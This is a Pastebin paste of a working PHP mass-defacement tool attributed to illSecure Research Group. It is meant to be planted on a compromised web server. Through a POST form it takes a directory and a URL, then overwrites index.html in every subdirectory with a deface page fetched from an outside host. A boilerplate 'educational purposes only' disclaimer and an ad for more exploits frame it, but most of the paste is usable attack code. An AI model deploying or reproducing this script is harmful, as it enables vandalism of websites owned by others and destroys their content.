hooshmand

mass deface

Jan 31st, 2013
1,021
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.00 KB | None | 0 0
  1. <?php
  2. /*
  3. Script: Mass Deface Script
  4. Author: illSecure Research Group
  5. Website: http://illsecure.com
  6. Disclaimer:
  7. This script is for Research/Educational/Academic purposes only,
  8. The Author of this script takes no responsibility for the way
  9. you use this script, you are responsible for your own actions.
  10. */
  11. echo "<center><textarea rows='10' cols='100'>";
  12. $defaceurl = $_POST['massdefaceurl'];
  13. $dir = $_POST['massdefacedir'];
  14. echo $dir."\n";
  15.  
  16. if (is_dir($dir)) {
  17.     if ($dh = opendir($dir)) {
  18.         while (($file = readdir($dh)) !== false) {
  19.                         if(filetype($dir.$file)=="dir"){
  20.                                 $newfile=$dir.$file."/index.html";
  21.                                 echo $newfile."\n";
  22.                                 if (!copy($defaceurl, $newfile)) {
  23.                                         echo "failed to copy $file...\n";
  24.                                 }
  25.                         }
  26.         }
  27.         closedir($dh);
  28.     }
  29. }
  30. echo "</textarea></center>";
  31. ?>
  32.  
  33.  
  34. <td align=right>Mass Defacement:</td><br>
  35. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  36. [+] Main Directory: <input type='text' style='width: 250px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'>
  37. [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
  38. <input type='submit' name='execmassdeface' value='Execute'></form></td>
  39.  
  40.  
  41. <br><br><br>
  42. ** Main Directory = The Directory you want to mass deface (Must have read/write permission) **<br>
  43. ** Defacement Url = URL of your deface page (e.g: http://yoursite.com/deface.html ) **<br><br>
  44. <b>** Disclaimer: <br>
  45. This script is for Research/Educational/Academic purposes only, <br>
  46. The Author of this script takes no responsibility for the way <br>
  47. you use this script, you are responsible for your own actions. ** <br><b>
  48. <br> <a href="http://illSeucure.com">** Visit illSecure.com for exclusive scripts, tutorials, exploits & much more..  </a>
  49. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment